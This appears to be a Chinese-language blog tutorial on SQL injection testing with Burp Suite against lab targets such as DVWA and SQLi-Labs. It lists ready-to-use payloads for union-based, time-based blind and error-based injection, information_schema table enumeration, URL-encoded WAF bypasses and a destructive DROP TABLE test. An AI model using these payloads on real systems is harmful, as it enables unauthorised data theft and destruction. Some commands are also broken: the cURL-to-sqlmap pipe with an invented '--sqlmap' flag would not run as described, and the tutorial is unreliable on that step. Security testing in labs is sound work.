Burp Suite安全SQL注入测试
一、准备工作
- 配置 Burp 代理
- 浏览器设置代理:
127.0.0.1:8080
(Burp 默认端口)。 - 开启 Burp 的Proxy → Intercept功能,拦截 HTTP 请求。
- 浏览器设置代理:
- 目标环境搭建
- 推荐测试靶场:DVWA(设置为 “Low” 安全级别)、SQLi-Labs。
- 确保目标存在可注入点(如搜索框、登录表单、URL 参数)。
二、步骤 1:发现潜在注入点
方法 1:Proxy 抓包分析
- 访问目标页面,输入单引号
'
或特殊字符(如"
,;--
),观察响应:- 若返回数据库错误(如
MySQL server version
),可能存在注入。 - 示例 URL:.php?id=1'
- 若返回数据库错误(如
- 右键点击拦截到的请求,选择Send to Repeater或Send to Scanner。
方法 2:Scanner 自动化扫描
- 在Target → Site Map中右键点击目标目录,选择Active Scan。
- 配置扫描策略:
- 勾选SQL injection相关检查项(如SQL injection (MySQL)、SQL injection (Oracle))。
- 点击Scan Configuration → Advanced,添加自定义 Payload(如
' UNION SELECT 1,2,3--+
)。
三、步骤 2:验证注入类型
场景 1:联合查询注入(Union-Based SQLi)
- 使用Repeater模块发送请求,逐步增加
UNION SELECT
列数,直到响应正常:http UNION SELECT 1,2,3--+ - 观察返回内容,若第 2、3 列显示数据(如
2
、3
),说明存在注入。
场景 2:基于时间的盲注(Time-Based Blind SQLi)
- 使用Intruder模块爆破字段:
- 位置:选中参数(如
id=1
),点击 **Add §** 标记 payload 位置。 - Payloads:选择Date/Time类型,添加
IF(1=1, SLEEP(5), 0)
。 - 发送请求,若响应延迟 5 秒,说明条件成立。
- 位置:选中参数(如
场景 3:基于报错的注入(Error-Based SQLi)
- 构造报错语句(以 MySQL 为例):
AND 1=CAST((SELECT version()) AS NCHAR(100))
- 若页面显示数据库版本(如
5.7.38
),说明注入成功。
四、步骤 3:利用漏洞获取数据
方法 1:使用 Burp 内置工具
- 使用 Repeater 提取数据:
UNION SELECT 1,user(),database()--+
- 结果示例:
root@localhost
(当前用户)、test_db
(数据库名)。
- 结果示例:
- 使用 Intruder 枚举表名:
- Payload:
1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='test_db' LIMIT 0,1--+
- 通过Comparer模块对比响应长度,识别有效表名。
- Payload:
方法 2:集成 SQLmap
- 在 Burp 中右键点击请求,选择Copy as cURL。
- 在终端粘贴命令并添加
--sqlmap
参数:bash curl '' -H "Cookie: session=123" | sqlmap -r - --dbs- SQLmap 会自动解析 Burp 的请求并执行注入。
五、高级技巧
- 处理动态令牌(Token):
- 在Intruder → Options → Request Engine中配置Session Handling Rules,自动更新 CSRF 令牌。
- 绕过 WAF:
- 使用Decoder模块对 Payload 进行 URL 编码、双重编码(如
%2527
代替'
)。 - 示例:
id=1%27%20UNION%20SELECT%201,2,3--+
。
- 使用Decoder模块对 Payload 进行 URL 编码、双重编码(如
- 检测多语句注入:
- 测试
; DROP TABLE users--+
等语句,观察是否执行成功(需谨慎操作!)。
- 测试
发布评论